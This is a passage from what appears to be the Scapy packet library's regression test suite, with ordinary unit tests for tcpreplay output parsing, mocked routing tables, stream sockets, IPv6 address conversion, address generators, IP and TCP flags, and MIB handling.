_parse_tcpreplay_result(stdout, stderr, argv)\n\nresults_dict\n\nassert results_dict[\"packets\"] == 1024\nassert results_dict[\"bytes\"] == 198929\nassert results_dict[\"time\"] == 67.88\nassert results_dict[\"bps\"] == 2930.6\nassert results_dict[\"mbps\"] == 0.02\nassert results_dict[\"pps\"] == 15.09\nassert results_dict[\"attempted\"] == 1024\nassert results_dict[\"successful\"] == 1024\nassert results_dict[\"failed\"] == 0\nassert results_dict[\"retried_enobufs\"] == 0\nassert results_dict[\"retried_eagain\"] == 0\nassert results_dict[\"command\"] == \" \".join(argv)\nassert len(results_dict[\"warnings\"]) == 3\n\n= Test more recent version with flows\n\ndata = \"\"\"Actual: 1 packets (42 bytes) sent in 0.000278 seconds\nRated: 151079.1 Bps, 1.20 Mbps, 3597.12 pps\nFlows: 1 flows, 3597.12 fps, 1 flow packets, 0 non-flow\nStatistics for network device: enp0s3\n        Successful packets:        1\n        Failed packets:            0\n        Truncated packets:         0\n        Retried packets (ENOBUFS): 0\n        Retried packets (EAGAIN):  0\n\"\"\"\n\nresults_dict = _parse_tcpreplay_result(data, \"\", [])\nresults_dict\n\nexpected = {\n    'bps': 151079.1,\n    'bytes': 42,\n    'command': '',\n    'failed': 0,\n    'flow_packets': 1,\n    'flows': 1,\n    'fps': 3597.12,\n    'mbps': 1.2,\n    'non_flow': 0,\n    'packets': 1,\n    'pps': 3597.12,\n    'retried_eagain': 0,\n    'retried_enobufs': 0,\n    'successful': 1,\n    'time': 0.000278,\n    'truncated': 0,\n    'warnings': []\n}\n\nassert results_dict == expected\n\n############\n############\n+ Mocked route() calls\n\n= Mocked IPv4 routes calls\n\nimport scapy\n\nconf.ifaces._add_fake_iface(\"enp3s0\")\nconf.ifaces._add_fake_iface(\"lo\")\n\nold_iface = conf.iface\nold_loopback = conf.loopback_name\ntry:\n    conf.iface = 'enp3s0'\n    conf.loopback_name = 'lo'\n    conf.route.invalidate_cache()\n    conf.route.routes = [\n        (4294967295, 4294967295, '0.0.0.0', 'wlan0', '', 281),\n        (4294967295, 4294967295, '0.0.0.0', 'lo', '', 291),\n        (4294967295, 4294967295, '0.0.0.0', 'enp3s0', '192.168.0.119', 281),\n        (3758096384, 4026531840, '0.0.0.0', 'lo', '', 291),\n        (3758096384, 4026531840, '0.0.0.0', 'wlan0', '', 281),\n        (3758096384, 4026531840, '0.0.0.0', 'enp3s0', '1.1.1.1', 281),\n        (3232235775, 4294967295, '0.0.0.0', 'enp3s0', '2.2.2.2', 281),\n        (3232235639, 4294967295, '0.0.0.0', 'enp3s0', '3.3.3.3', 281),\n        (3232235520, 4294967040, '0.0.0.0', 'enp3s0', '4.4.4.4', 281),\n        (0, 0, '192.168.0.254', 'enp3s0', '0.0.0.0', 25)\n    ]\n    assert conf.route.route(\"192.168.0.0-10\") == ('enp3s0', '4.4.4.4', '0.0.0.0')\n    assert conf.route.route(\"192.168.0.119\") == ('lo', '192.168.0.119', '0.0.0.0')\n    assert conf.route.route(\"224.0.0.0\") == ('enp3s0', '1.1.1.1', '0.0.0.0')\n    assert conf.route.route(\"255.255.255.255\") == ('enp3s0', '192.168.0.119', '0.0.0.0')\n    assert conf.route.route(\"*\") == ('enp3s0', '4.4.4.4', '192.168.0.254')\nfinally:\n    conf.loopback_name = old_loopback\n    conf.iface = old_iface\n    conf.route.resync()\n    conf.ifaces.reload()\n\n\n= Mocked IPv6 routes calls\n\nconf.ifaces._add_fake_iface(\"enp3s0\")\nconf.ifaces._add_fake_iface(\"lo\")\n\nold_iface = conf.iface\nold_loopback = conf.loopback_name\ntry:\n    conf.route6.ipv6_ifaces = set(['enp3s0', 'wlan0', 'lo'])\n    conf.iface = 'enp3s0'\n    conf.loopback_name = 'lo'\n    conf.route6.invalidate_cache()\n    conf.route6.routes = [\n        ('fe80::dd17:1fa6:a123:ab4', 128, '::', 'lo', ['fe80::dd17:1fa6:a123:ab4'], 291),\n        ('fe80::7101:5678:1234:da65', 128, '::', 'enp3s0', ['fe80::7101:5678:1234:da65'], 281),\n        ('fe80::1f:ae12:4d2c:abff', 128, '::', 'wlan0', ['fe80::1f:ae12:4d2c:abff'], 281),\n        ('fe80::', 64, '::', 'wlan0', ['fe80::1f:ae12:4d2c:abff'], 281),\n        ('fe80::', 64, '::', 'lo', ['fe80::dd17:1fa6:a123:ab4'], 291),\n        ('fe80::', 64, '::', 'enp3s0', ['fe80::7101:5678:1234:da65'], 281),\n        ('2a01:e35:1e06:ab56:7010:6548:9646:fa77', 128, '::', 'enp3s0', ['2a01:e35:1e06:ab56:7010:6548:9646:fa77', '2a01:e35:1e06:ab56:512:8bb7:8ab8:14a8'], 281),\n        ('2a01:e35:1e06:ab56:512:8bb7:8ab8:14a8', 128, '::', 'enp3s0', ['2a01:e35:1e06:ab56:7010:6548:9646:fa77', '2a01:e35:1e06:ab56:512:8bb7:8ab8:14a8'], 281),\n        ('2a01:e35:1e06:ab56::', 64, '::', 'enp3s0', ['2a01:e35:1e06:ab56:7010:6548:9646:fa77', '2a01:e35:1e06:ab56:512:8bb7:8ab8:14a8'], 281),\n        ('::', 0, 'fe80::160c:64aa:ef6f:fe14', 'enp3s0', ['2a01:e35:1e06:ab56:7010:6548:9646:fa77', '2a01:e35:1e06:ab56:512:8bb7:8ab8:14a8'], 281)\n    ]\n    assert conf.route6.route(\"2a01:e35:1e06:ab56:512:8bb7:8ab8:14a8\") == ('enp3s0', '2a01:e35:1e06:ab56:7010:6548:9646:fa77', '::')\n    assert conf.route6.route(\"::1\") == ('enp3s0', '2a01:e35:1e06:ab56:7010:6548:9646:fa77', 'fe80::160c:64aa:ef6f:fe14')\n    assert conf.route6.route(\"ff02::1\") == ('enp3s0', 'fe80::7101:5678:1234:da65', '::')\n    assert conf.route6.route(\"fe80::1\") == ('enp3s0', 'fe80::7101:5678:1234:da65', '::')\n    assert conf.route6.route(\"fe80::1\", dev='lo') == ('lo', 'fe80::dd17:1fa6:a123:ab4', '::')\nfinally:\n    conf.loopback_name = old_loopback\n    conf.iface = old_iface\n    conf.route6.resync()\n    conf.ifaces.reload()\n\n= Windows: reset routes properly\n\nif WINDOWS:\n    from scapy.arch.windows import _route_add_loopback\n    _route_add_loopback()\n\n\n############\n############\n############\n+ Tests of StreamSocket\n\n= Test with DNS over TCP\n~ netaccess\n\nimport socket\nsck = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsck.connect((\"8.8.8.8\", 53))\n\nssck = StreamSocket(sck, DNSTCP)\n\nr = ssck.sr1(DNSTCP(rd=1, qd=DNSQR(qname=\"www.example.com\")), timeout=3)\nsck.close()\nassert DNSTCP in r and len(r.an)\n\n############\n+ Tests of SSLStreamContext\n\n= Test with recv() calls that return exact packet-length rawings\n~ sslraweamsocket\n\nimport socket\nclass MockSocket(object):\n    def __init__(self):\n        self.l = [ b'\\x00\\x00\\x00\\x01', b'\\x00\\x00\\x00\\x02', b'\\x00\\x00\\x00\\x03' ]\n    def recv(self, x):\n        if len(self.l) == 0:\n            return b\"\"\n        return self.l.pop(0)\n    def fileno(self):\n        return -1\n    def close(self):\n        return\n\n\nclass TestPacket(Packet):\n    name = 'TestPacket'\n    fields_desc = [\n        IntField('data', 0)\n    ]\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\ns = MockSocket()\nss = SSLStreamSocket(s, basecls=TestPacket)\n\np = ss.recv()\nassert p.data == 1\np = ss.recv()\nassert p.data == 2\np = ss.recv()\nassert p.data == 3\ntry:\n    ss.recv()\n    ret = False\nexcept EOFError:\n    ret = True\n\nassert ret\n\n= Test with recv() calls that return twice as much data as the exact packet-length\n~ sslraweamsocket\n\nimport socket\nclass MockSocket(object):\n    def __init__(self):\n        self.l = [ b'\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02', b'\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x04' ]\n    def recv(self, x):\n        if len(self.l) == 0:\n            return b\"\"\n        return self.l.pop(0)\n    def fileno(self):\n        return -1\n    def close(self):\n        return\n\n\nclass TestPacket(Packet):\n    name = 'TestPacket'\n    fields_desc = [\n        IntField('data', 0)\n    ]\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\ns = MockSocket()\nss = SSLStreamSocket(s, basecls=TestPacket)\n\np = ss.recv()\nassert p.data == 1\np = ss.recv()\nassert p.data == 2\np = ss.recv()\nassert p.data == 3\np = ss.recv()\nassert p.data == 4\ntry:\n    ss.recv()\n    ret = False\nexcept EOFError:\n    ret = True\n\nassert ret\n\n= Test with recv() calls that return not enough data\n~ sslraweamsocket\n\nimport socket\nclass MockSocket(object):\n    def __init__(self):\n        self.l = [ b'\\x00\\x00', b'\\x00\\x01', b'\\x00\\x00\\x00', b'\\x02', b'\\x00\\x00', b'\\x00', b'\\x03' ]\n    def recv(self, x):\n        if len(self.l) == 0:\n            return b\"\"\n        return self.l.pop(0)\n    def fileno(self):\n        return -1\n    def close(self):\n        return\n\n\nclass TestPacket(Packet):\n    name = 'TestPacket'\n    fields_desc = [\n        IntField('data', 0)\n    ]\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\ns = MockSocket()\nss = SSLStreamSocket(s, basecls=TestPacket)\n\np = ss.recv()\nassert p.data == 1\n\np = ss.recv()\nassert p.data == 2\n\np = ss.recv()\nassert p.data == 3\n\ntry:\n    ss.recv()\n    ret = False\nexcept EOFError:\n    ret = True\n\nassert ret\n\n\n############\n############\n+ Test correct conversion from binary to rawing of IPv6 addresses\n\n= IPv6 bin to rawing conversion\nfrom scapy.pton_ntop import _inet6_ntop, inet_ntop\nimport socket\nfor binfrm, address in [\n        (b'\\x00' * 16, '::'),\n        (b'\\x11\\x11\\x22\\x22\\x33\\x33\\x44\\x44\\x55\\x55\\x66\\x66\\x77\\x77\\x88\\x88',\n         '1111:2222:3333:4444:5555:6666:7777:8888'),\n        (b'\\x11\\x11\\x22\\x22\\x33\\x33\\x44\\x44\\x55\\x55\\x00\\x00\\x00\\x00\\x00\\x00',\n         '1111:2222:3333:4444:5555::'),\n        (b'\\x00\\x00\\x00\\x00\\x00\\x00\\x44\\x44\\x55\\x55\\x66\\x66\\x77\\x77\\x88\\x88',\n         '::4444:5555:6666:7777:8888'),\n        (b'\\x00\\x00\\x00\\x00\\x33\\x33\\x44\\x44\\x00\\x00\\x00\\x00\\x00\\x00\\x88\\x88',\n         '0:0:3333:4444::8888'),\n        (b'\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',\n         '1::'),\n        (b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01',\n         '::1'),\n        (b'\\x11\\x11\\x00\\x00\\x00\\x00\\x44\\x44\\x00\\x00\\x00\\x00\\x77\\x77\\x88\\x88',\n         '1111::4444:0:0:7777:8888'),\n        (b'\\x10\\x00\\x02\\x00\\x00\\x30\\x00\\x04\\x00\\x05\\x00\\x60\\x07\\x00\\x80\\x00',\n         '1000:200:30:4:5:60:700:8000'),\n]:\n    addr1 = inet_ntop(socket.AF_INET6, binfrm)\n    addr2 = _inet6_ntop(binfrm)\n    assert address == addr1 == addr2\n\n= IPv6 bin to rawing conversion - Zero-block of length 1\nbinfrm = b'\\x11\\x11\\x22\\x22\\x33\\x33\\x44\\x44\\x55\\x55\\x66\\x66\\x00\\x00\\x88\\x88'\naddr1, addr2 = inet_ntop(socket.AF_INET6, binfrm), _inet6_ntop(binfrm)\n# On Mac OS socket.inet_ntop is not fully compliant with RFC 5952 and\n# shortens the single zero block to '::'. This is a valid IPv6 address\n# representation anyway.\nassert(addr1 in ['1111:2222:3333:4444:5555:6666:0:8888',\n                 '1111:2222:3333:4444:5555:6666::8888'])\nassert addr2 == '1111:2222:3333:4444:5555:6666:0:8888'\n\n= IPv6 bin to rawing conversion - Illegal sizes\nfor binfrm in [\"\\x00\" * 15, b\"\\x00\" * 17]:\n    rc = False\n    try:\n        inet_ntop(socket.AF_INET6, binfrm)\n    except Exception as exc1:\n        _exc1 = exc1\n        rc = True\n    assert rc\n    try:\n        _inet6_ntop(binfrm)\n    except Exception as exc2:\n        rc = isinstance(exc2, type(_exc1))\n    assert rc\n\n\n############\n############\n+ Addresses generators\n\n= Net\n\nassert list(Net(\"192.168.0.0/31\")) == [\"192.168.0.0\", \"192.168.0.1\"]\n\nassert \"1.2.3.4\" in Net(\"0.0.0.0/0\")\n\nassert \"192.168.0.0/25\" in Net(\"192.168.0.0/24\")\n\nassert \"192.168.0.0/23\" not in Net(\"192.168.0.0/24\")\n\nassert \"0.0.0.0/1\" in Net(\"0.0.0.0/0\")\n\nassert \"0.0.0.0/0\" not in Net(\"0.0.0.0/1\")\n\nassert Net(\"1.2.3.0/24\") == Net(\"1.2.3.0\", \"1.2.3.255\")\n\nassert hash(Net(\"1.2.3.0/24\")) == hash(Net(\"1.2.3.0\", \"1.2.3.255\"))\n\n= Net using name\n~ netaccess\n\nip = IP(dst=\"www.google.com\")\nn1 = ip.dst\nassert isinstance(n1, Net)\nip.show()\n\n= Net using implicit format in IP\n\nassert len(list(IP(dst=(\"192.168.0.100\", \"192.168.0.199\")))) == 100\n\n= Multiple IP addresses test\n~ netaccess\n\nip = IP(dst=['192.168.0.1', 'www.google.fr'],ihl=(1,5))\nassert ip.dst[0] == '192.168.0.1'\nassert isinstance(ip.dst[1], Net)\nsrc = ip.src\nassert src\nassert isinstance(src, str)\n\n= OID\n\noid = OID(\"1.2.3.4.5.6-8\")\nsum(1 for o in oid) == 3\nassert oid.__iterlen__() == 3\n\n= Net6\n\nn1 = Net6(\"2001:db8::/127\")\nassert len(list(n1)) == 2\nassert len(n1) == 2\n\nn2 = Net6(\"fec0::/110\")\nassert len(n2) == 262144\n\nassert \"ffff::ffff\" in Net6(\"::/0\")\n\nassert \"::/1\" in Net6(\"::/0\")\n\nassert \"::/0\" not in Net6(\"::/1\")\n\nassert Net6(\"::/120\") == Net6(\"::\", \"::ff\")\n\nassert hash(Net6(\"::/120\")) == hash(Net6(\"::\", \"::ff\"))\n\nassert Net6(\"::1.2.3.0/120\") == Net6(\"::1.2.3.0\", \"::1.2.3.255\")\n\nassert hash(Net6(\"::1.2.3.0/120\")) == hash(Net6(\"::1.2.3.0\", \"::1.2.3.255\"))\n\nassert Net6(\"::1.2.3.0/120\") != Net(\"1.2.3.0/24\")\n\nassert hash(Net6(\"::1.2.3.0/120\")) != hash(Net(\"1.2.3.0/24\"))\n\n= Net6 using web address\n~ netaccess ipv6\n\nip = IPv6(dst=\"www.google.com\")\nn1 = ip.dst\nassert isinstance(n1, Net6)\nassert \"www.google.com\" in repr(n1)\nip.show()\n\nip = IPv6(dst=\"www.yahoo.com\")\nassert IPv6(raw(ip)).dst == [p.dst for p in ip][0]\n\n= Net6 using implicit format in IPv6\n\nassert len(list(IPv6(dst=(\"fe80::1\", \"fe80::1f\")))) == 31\n\n= Multiple IPv6 addresses test\n~ netaccess ipv6\n\nip = IPv6(dst=['2001:db8::1', 'www.google.fr'],hlim=(1,5))\nassert ip.dst[0] == '2001:db8::1'\nassert isinstance(ip.dst[1], Net6)\nsrc = ip.src\nassert src\nassert isinstance(src, str)\n\n= Test repr on Net\n~ netaccess\n\nconf.color_theme = BlackAndWhite()\noutput = repr(IP(src=\"www.google.com\"))\nassert 'Net(\"www.google.com/32\")' in output\n\n= Test repr on Net\n~ netaccess ipv6\n\nconf.color_theme = BlackAndWhite()\nassert 'Net6(\"www.google.com/128\")' in repr(IPv6(src=\"www.google.com\"))\n\n############\n############\n+ IPv6 helpers\n\n= in6_getLocalUniquePrefix()\n\np = in6_getLocalUniquePrefix()\nlen(inet_pton(socket.AF_INET6, p)) == 16 and p.startswith(\"fd\")\n\n= Misc addresses manipulation functions\n\nteredoAddrExtractInfo(\"2001:0:0a0b:0c0d:0028:f508:f508:08f5\") == (\"10.11.12.13\", 40, \"10.247.247.10\", 2807)\n\nip6 = IP6Field(\"test\", None)\nip6.i2repr(\"\", \"2001:0:0a0b:0c0d:0028:f508:f508:08f5\") == \"2001:0:0a0b:0c0d:0028:f508:f508:08f5 [Teredo srv: 10.11.12.13 cli: 10.247.247.10:2807]\"\nip6.i2repr(\"\", \"2002:0102:0304::1\") == \"2002:0102:0304::1 [6to4 GW: 1.2.3.4]\"\n\nin6_iseui64(\"fe80::bae8:58ff:fed4:e5f6\") == True\n\nin6_isanycast(\"2001:db8::fdff:ffff:ffff:ff80\") == True\n\na = inet_pton(socket.AF_INET6, \"2001:db8::2807\")\nin6_xor(a, a) == b\"\\x00\" * 16\n\na = inet_pton(socket.AF_INET6, \"fe80::bae8:58ff:fed4:e5f6\")\nr = inet_ntop(socket.AF_INET6, in6_getnsma(a)) \nr == \"ff02::1:ffd4:e5f6\"\n\nin6_isllsnmaddr(r) == True\n\nin6_isdocaddr(\"2001:db8::2807\") == True\n\nin6_isaddrllallnodes(\"ff02::1\") == True\n\nin6_isaddrllallservers(\"ff02::2\") == True\n\n= in6_getscope()\n\nassert in6_getscope(\"2001:db8::2807\") == IPV6_ADDR_GLOBAL\nassert in6_getscope(\"fec0::2807\") == IPV6_ADDR_SITELOCAL\nassert in6_getscope(\"fe80::2807\") == IPV6_ADDR_LINKLOCAL\nassert in6_getscope(\"ff02::2807\") == IPV6_ADDR_LINKLOCAL\nassert in6_getscope(\"ff0e::2807\") == IPV6_ADDR_GLOBAL\nassert in6_getscope(\"ff05::2807\") == IPV6_ADDR_SITELOCAL\nassert in6_getscope(\"ff01::2807\") == IPV6_ADDR_LOOPBACK\nassert in6_getscope(\"::1\") == IPV6_ADDR_LOOPBACK\n\n= construct_source_candidate_set()\n\ndev_addresses = [('fe80::', IPV6_ADDR_LINKLOCAL, \"linklocal\"),('fec0::', IPV6_ADDR_SITELOCAL, \"sitelocal\"),('ff0e::', IPV6_ADDR_GLOBAL, \"global\")]\n\nassert construct_source_candidate_set(\"2001:db8::2807\", 0, dev_addresses) == [\"ff0e::\"]\nassert construct_source_candidate_set(\"fec0::2807\", 0, dev_addresses) == [\"fec0::\"]\nassert construct_source_candidate_set(\"fe80::2807\", 0, dev_addresses) == [\"fe80::\"]\nassert construct_source_candidate_set(\"ff02::2807\", 0, dev_addresses) == [\"fe80::\"]\nassert construct_source_candidate_set(\"ff0e::2807\", 0, dev_addresses) == [\"ff0e::\"]\nassert construct_source_candidate_set(\"ff05::2807\", 0, dev_addresses) == [\"fec0::\"]\nassert construct_source_candidate_set(\"ff01::2807\", 0, dev_addresses) == [\"::1\"]\nassert construct_source_candidate_set(\"::\", 0, dev_addresses) == [\"ff0e::\"]\n\n= inet_pton()\n\nfrom scapy.pton_ntop import _inet6_pton, inet_pton\nimport socket\n\nip6_bad_addrs = [\"fe80::2e67:ef2d:7eca::ed8a\",\n                 \"fe80:1234:abcd::192.168.40.12:abcd\",\n                 \"fe80:1234:abcd::192.168.40\",\n                 \"fe80:1234:abcd::192.168.400.12\",\n                 \"1234:5678:9abc:def0:1234:5678:9abc:def0:\",\n                 \"1234:5678:9abc:def0:1234:5678:9abc:def0:1234\"]\nfor ip6 in ip6_bad_addrs:\n    rc = False\n    exc1 = None\n    try:\n        res1 = inet_pton(socket.AF_INET6, ip6)\n    except Exception as e:\n        rc = True\n        exc1 = e\n    assert rc\n    rc = False\n    try:\n        res2 = _inet6_pton(ip6)\n    except Exception as exc2:\n        rc = isinstance(exc2, type(exc1))\n    assert rc\n\nip6_good_addrs = [(\"fe80:1234:abcd::192.168.40.12\",\n                   b'\\xfe\\x80\\x124\\xab\\xcd\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8(\\x0c'),\n                  (\"fe80:1234:abcd::fe06\",\n                   b'\\xfe\\x80\\x124\\xab\\xcd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xfe\\x06'),\n                  (\"fe80::2e67:ef2d:7ece:ed8a\",\n                   b'\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00.g\\xef-~\\xce\\xed\\x8a'),\n                  (\"::ffff\",\n                   b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff'),\n                  (\"ffff::\",\n                   b'\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'),\n                  ('::', b'\\x00' * 16)]\nfor ip6, res in ip6_good_addrs:\n    res1 = inet_pton(socket.AF_INET6, ip6)\n    res2 = _inet6_pton(ip6)\n    assert res == res1 == res2\n\n\n############\n############\n+ Test Route class\n\n= make_route()\n\nr4 = Route()\ntmp_route = r4.make_route(host=\"10.12.13.14\")\n(tmp_route[0], tmp_route[1], tmp_route[2]) == (168561934, 4294967295, '0.0.0.0')\n\ntmp_route = r4.make_route(net=\"10.12.13.0/24\")\n(tmp_route[0], tmp_route[1], tmp_route[2]) == (168561920, 4294967040, '0.0.0.0')\n\n= add() & delt()\n\nr4 = Route()\nlen_r4 = len(r4.routes)\nr4.add(net=\"192.168.1.0/24\", gw=\"1.2.3.4\")\nlen(r4.routes) == len_r4 + 1\nr4.delt(net=\"192.168.1.0/24\", gw=\"1.2.3.4\")\nlen(r4.routes) == len_r4\n\n= ifchange()\n\nr4.add(net=\"192.168.1.0/24\", gw=\"1.2.3.4\", dev=get_dummy_interface())\nr4.ifchange(get_dummy_interface(), \"5.6.7.8\")\nr4.routes[-1][4] == \"5.6.7.8\"\n\n= ifdel()\n\nr4.ifdel(get_dummy_interface())\nlen(r4.routes) == len_r4\n\n= ifadd() & get_if_bcast()\n\nr4 = Route()\nlen_r4 = len(r4.routes)\n\nr4.ifadd(get_dummy_interface(), \"1.2.3.4/24\")\nlen(r4.routes) == len_r4 +1 \n\nr4.get_if_bcast(get_dummy_interface()) == \"1.2.3.255\"\n\nr4.ifdel(get_dummy_interface())\nlen(r4.routes) == len_r4\n\ndummy_interface = get_dummy_interface()\n\nbck_conf_route_routes = conf.route.routes\nconf.route.routes = [\n    (0, 0, '172.21.230.1', dummy_interface, '172.21.230.10', 1),                # 0.0.0.0         / 0.0.0.0         == 255.255.255.255\n    (2851995648, 4294901760, '0.0.0.0', dummy_interface, '172.21.230.10', 1),   # 169.254.0.0     / 255.255.0.0     == 169.254.255.255\n    (2887116288, 4294967040, '0.0.0.0', dummy_interface, '172.21.230.10', 1),   # 172.21.230.0    / 255.255.255.0   == 172.21.230.255\n    (2887116289, 4294967295, '0.0.0.0', dummy_interface, '172.21.230.10', 1),   # 172.21.230.1    / 255.255.255.255 == 172.21.230.1\n    (3758096384, 4026531840, '0.0.0.0', dummy_interface, '172.21.230.10', 1),   # 224.0.0.0       / 240.0.0.0       == 239.255.255.255\n    (3758096635, 4294967295, '0.0.0.0', dummy_interface, '172.21.230.10', 1),   # 224.0.0.251     / 255.255.255.255 == 224.0.0.251\n    (4294967295, 4294967295, '0.0.0.0', dummy_interface, '172.21.230.10', 1),   # 255.255.255.255 / 255.255.255.255 == 255.255.255.255\n    ]\n\nassert sorted(conf.route.get_if_bcast(dummy_interface)) == sorted(['169.254.255.255', '172.21.230.255', '239.255.255.255'])\nconf.route.routes = bck_conf_route_routes\n\n= Remove dummy interface\n\nconf.ifaces.reload()\n\n############\n############\n+ Flags\n\n= IP flags\n~ IP\n\npkt = IP(flags=\"MF\")\nassert pkt.flags.MF\nassert not pkt.flags.DF\nassert not pkt.flags.evil\nassert repr(pkt.flags) == '<Flag 1 (MF)>'\npkt.flags.MF = 0\npkt.flags.DF = 1\nassert not pkt.flags.MF\nassert pkt.flags.DF\nassert not pkt.flags.evil\nassert repr(pkt.flags) == '<Flag 2 (DF)>'\npkt.flags |= 'evil+MF'\npkt.flags &= 'DF+MF'\nassert pkt.flags.MF\nassert pkt.flags.DF\nassert not pkt.flags.evil\nassert repr(pkt.flags) == '<Flag 3 (MF+DF)>'\n\npkt = IP(flags=3)\nassert pkt.flags.MF\nassert pkt.flags.DF\nassert not pkt.flags.evil\nassert repr(pkt.flags) == '<Flag 3 (MF+DF)>'\npkt.flags = 6\nassert not pkt.flags.MF\nassert pkt.flags.DF\nassert pkt.flags.evil\nassert repr(pkt.flags) == '<Flag 6 (DF+evil)>'\n\nassert len({IP().flags, IP().flags}) == 1\n\npkt = IP()\npkt.flags = \"\"\nassert pkt.flags == 0\n\n= TCP flags\n~ TCP\n\npkt = TCP(flags=\"SA\")\nassert pkt.flags == 18\nassert pkt.flags.S\nassert pkt.flags.A\nassert pkt.flags.SA\nassert not any(getattr(pkt.flags, f) for f in 'FRPUECN')\nassert repr(pkt.flags) == '<Flag 18 (SA)>'\npkt.flags.U = True\npkt.flags.S = False\nassert pkt.flags.A\nassert pkt.flags.U\nassert pkt.flags.AU\nassert not any(getattr(pkt.flags, f) for f in 'FSRPECN')\nassert repr(pkt.flags) == '<Flag 48 (AU)>'\npkt.flags &= 'SFA'\npkt.flags |= 'P'\nassert pkt.flags.P\nassert pkt.flags.A\nassert pkt.flags.PA\nassert not any(getattr(pkt.flags, f) for f in 'FSRUECN')\n\npkt = TCP(flags=56)\nassert all(getattr(pkt.flags, f) for f in 'PAU')\nassert pkt.flags.PAU\nassert not any(getattr(pkt.flags, f) for f in 'FSRECN')\nassert repr(pkt.flags) == '<Flag 56 (PAU)>'\npkt.flags = 50\nassert all(getattr(pkt.flags, f) for f in 'SAU')\nassert pkt.flags.SAU\nassert not any(getattr(pkt.flags, f) for f in 'FRPECN')\nassert repr(pkt.flags) == '<Flag 50 (SAU)>'\n\n= Flag values mutation with .raw_packet_cache\n~ IP TCP\n\npkt = IP(raw(IP(flags=\"MF\")/TCP(flags=\"SA\")))\nassert pkt.raw_packet_cache is not None\nassert pkt[TCP].raw_packet_cache is not None\nassert pkt.flags.MF\nassert not pkt.flags.DF\nassert not pkt.flags.evil\nassert repr(pkt.flags) == '<Flag 1 (MF)>'\nassert pkt[TCP].flags.S\nassert pkt[TCP].flags.A\nassert pkt[TCP].flags.SA\nassert not any(getattr(pkt[TCP].flags, f) for f in 'FRPUECN')\nassert repr(pkt[TCP].flags) == '<Flag 18 (SA)>'\npkt.flags.MF = 0\npkt.flags.DF = 1\npkt[TCP].flags.U = True\npkt[TCP].flags.S = False\npkt = IP(raw(pkt))\nassert not pkt.flags.MF\nassert pkt.flags.DF\nassert not pkt.flags.evil\nassert repr(pkt.flags) == '<Flag 2 (DF)>'\nassert pkt[TCP].flags.A\nassert pkt[TCP].flags.U\nassert pkt[TCP].flags.AU\nassert not any(getattr(pkt[TCP].flags, f) for f in 'FSRPECN')\nassert repr(pkt[TCP].flags) == '<Flag 48 (AU)>'\n\n= Operations on flag values\n~ TCP\n\np1, p2 = TCP(flags=\"SU\"), TCP(flags=\"AU\")\nassert (p1.flags & p2.flags).U\nassert not any(getattr(p1.flags & p2.flags, f) for f in 'FSRPAECN')\nassert all(getattr(p1.flags | p2.flags, f) for f in 'SAU')\nassert (p1.flags | p2.flags).SAU\nassert not any(getattr(p1.flags | p2.flags, f) for f in 'FRPECN')\n\nassert TCP(flags=\"SA\").flags & TCP(flags=\"S\").flags == TCP(flags=\"S\").flags\nassert TCP(flags=\"SA\").flags | TCP(flags=\"S\").flags == TCP(flags=\"SA\").flags\n\n\n############\n############\n+ 802.3\n\n= Test detection\n\nassert isinstance(Dot3(raw(Ether())),Ether)\nassert isinstance(Ether(raw(Dot3())),Dot3)\n\na = Ether(b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nassert isinstance(a,Dot3)\nassert a.dst == 'ff:ff:ff:ff:ff:ff'\nassert a.src == '00:00:00:00:00:00'\n\na = Dot3(b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\x00')\nassert isinstance(a,Ether)\nassert a.dst == 'ff:ff:ff:ff:ff:ff'\nassert a.src == '00:00:00:00:00:00'\n\n\n############\n############\n+ ASN.1\n\n= MIB\n~ mib\n\nimport tempfile\nfd, fname = tempfile.mkstemp()\nos.write(fd, b\"-- MIB test\\nscapy       OBJECT IDENTIFIER ::= {test 2807}\\n\")\nos.close(fd)\n\nload_mib(fname)\nassert sum(1 for k in conf.mib.d.values() if \"scapy\" in k) == 1\n\nassert sum(1 for oid in conf.mib) > 100\n\n= MIB - graph\n~ mib\n\nfrom unittest import mock\n\n@mock.patch(\"scapy.asn1.mib.do_graph\")\ndef get_mib_graph(do_graph):\n    def store_graph(graph, **kargs):\n        assert graph.startswith(\"\"\"digraph \"mib\" {\"\"\")\n        assert \"\"\"\"test.2807\" [ label=\"scapy\"  ];\"\"\" in graph\n    do_graph.side_effect = store_graph\n    conf.mib._make_graph()\n\nget_mib_graph()\n\n= MIB - test aliases\n~ mib\n\n# https://github.com/secdev/scapy/issues/2542\nassert conf.mib._oidname(\"2.5.29.19\") == \"basicConstraints\"\n\n= DADict tests\n\na = DADict(\"test\")\na[0] = \"test_value1\"\na[\"scapy\"] = \"test_value2\"\n\nassert a.test_value1 == 0\nassert a.test_value2 == \"scapy\"\n\nwith ContextManagerCaptureOutput() as cmco:\n    a._show()\n    outp = cmco.get_output()\n\nassert \"scapy = 'test_value2'\" in outp\nassert \"0 = 'test_value1'\" in outp\n\n= Test ETHER_TYPES\n\nassert ETHER_TYPES.IPv4 == 2048\ntry:\n    import warnings\n    \n    with warnings.catch_warnings(record=True) as w:\n        warnings.simplefilter(\"always\")\n        ETHER_TYPES[\"BAOBAB\"] = 0xffff\n        assert ETHER_TYPES.BAOBAB == 0xffff\n        assert issubclass(w[-1].category, DeprecationWarning)\nexcept DeprecationWarning:\n    # -Werror is used\n    pass\n\n= MIB - Check that MIB OIDs are not duplicated\n~ mib\n\nfrom 